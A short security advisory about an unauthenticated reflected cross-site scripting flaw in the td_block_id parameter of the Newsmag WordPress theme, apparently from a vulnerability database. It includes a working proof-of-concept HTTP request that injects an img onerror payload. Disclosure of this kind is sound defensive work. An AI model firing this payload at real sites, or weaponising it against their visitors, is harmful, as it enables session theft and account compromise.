Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)

Description

The theme does not sanitise the td_block_id parameter in its td_ajax_block  AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability.

Due to a nonce check, this issue is only exploitable on unauthenticated users (for as long as the nonce used in the request is valid)

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Connection: close

action=td_ajax_block&td_block_id="><img+src+onerror=alert(document.domain)>&block_type=td_block_related_posts&td_magic_token=59c7ec0654